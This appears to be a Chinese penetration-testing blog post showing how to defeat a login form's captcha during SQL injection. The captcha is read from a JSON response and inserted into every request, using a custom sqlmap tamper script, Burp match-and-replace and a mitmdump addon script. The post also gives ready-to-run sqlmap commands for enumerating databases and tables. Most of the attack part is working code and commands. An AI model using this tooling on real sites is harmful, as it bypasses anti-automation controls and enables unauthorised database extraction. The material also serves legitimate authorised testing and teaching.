tamper脚本编写与mitmdump

tamper脚本编写与mitmdump

0x01 前提

​ 注入点在登录框处,但是目标每次都会先校验验证码,而验证码会在返回包中以json格式出现。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x02 编写tamper脚本

由于目标的验证码在response中回显出来了,所以我们可以利用tamper脚本去读取验证码,再利用sqlmap进行注入

tamper脚本所在kali路径中/usr/share/sqlmap/tamper

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import requests

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    #定义retVal变量,传递sqlmap payload
    retVal = payload
    #如果payload 存在
    if payload:
        #将 retVal 重置为空字符串
        retVal = ""
        url = "http://xxxx/captcha.php"
        headers = {
            "Cookie": "PHPSESSID=0jo0nef461ejnvb4ou2bojrl05"}
        #发送get请求
        res = requests.get(url, headers=headers, timeout=3)
        #获取json格式中的验证码
        #eg:"pharse":"ZsD88","base64":"\/9j\/4AAQSkZ"
        #res.text.split('":"') 以":"分割内容将一下分成了3个元素"pharse、ZsD88","base64、\/9j\/4AAQSkZ"
        #res.text.split('":"')=['"pharse', 'ZsD88","base64', '\/9j\/4AAQSkZ"']
        #res.text.split('":"')[1]=ZsD88","base64
        #split('"')=['ZsD88', ',', 'base64']
        #split('"')[0]=ZsD88
        yzm = res.text.split('":"')[1].split('"')[0]
        #将payload的值和&captcha+yzm截取到值返回,后续再通过burp改包
        retVal = "&captcha=" + yzm
        retVal = payload + retVal
    return retVal

原始包中

在这里插入图片描述

我们可以利用Burp中的Match and replace功能替换掉多余的数据(不使用正则也可以匹配到,一定要选对type)

方法2:sqlmap直接设置跳过url编码格式,只需要替换一下&captcha=变量

sqlmap -r sql.txt --is-dba --proxy=http://192.168.31.35:8081 --tamper=yanzhengma.py –skip-urlencode

在这里插入图片描述

在这里插入图片描述

点击auto-modified request 可以看到修改后的数据包

在这里插入图片描述

成功注出数据

在这里插入图片描述

0x03 利用mitmdump

​ 方法2:利用Mitmdump拦截请求数据并修改

mitmdump kali自带
<-mitmdump -s poc.py -p 8081->

from mitmproxy import ctx
import requests
#request(flow)函数是mitmproxy的回调函数,当收到请求,该函数就会被调用
def request(flow):
	#获取flow.request收到的请求对象
    request = flow.request
	#定义info 打印日志信息
    info = ctx.log.info
	#获取request中cookies的phpsessid值并赋值给Phps
    phps = request.cookies["PHPSESSID"]
	#获取request请求对象从开头到末尾第五位
	#username=xxx&password=xxx&captcha=tfaLj 也就是截取username=xxx&password=xxx&captcha=这一段
    tmp = request.text[0:-5]
	#调用获取验证码的函数,cap获取到的是return r["pharse"]也就是验证码的值
    cap = get_captcha(phps)
	#打印验证码
    info(f"captch {cap}")
	#打印请求结果
    request.text = f"{tmp}{cap}"
    info(str(request.text))
def get_captcha(phps):
    url = "http://192.168.31.100/captcha.php"
    r = requests.get(url,headers={"Cookie":f"PHPSESSID={phps}"}).json()
	#返回验证码的值
    return r["pharse"]

sqlmap发包即可

sqlmap -r sql.txt -D "db" --tables --proxy=http://192.168.31.106:8081 --threads=1 --tech=B --batch

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值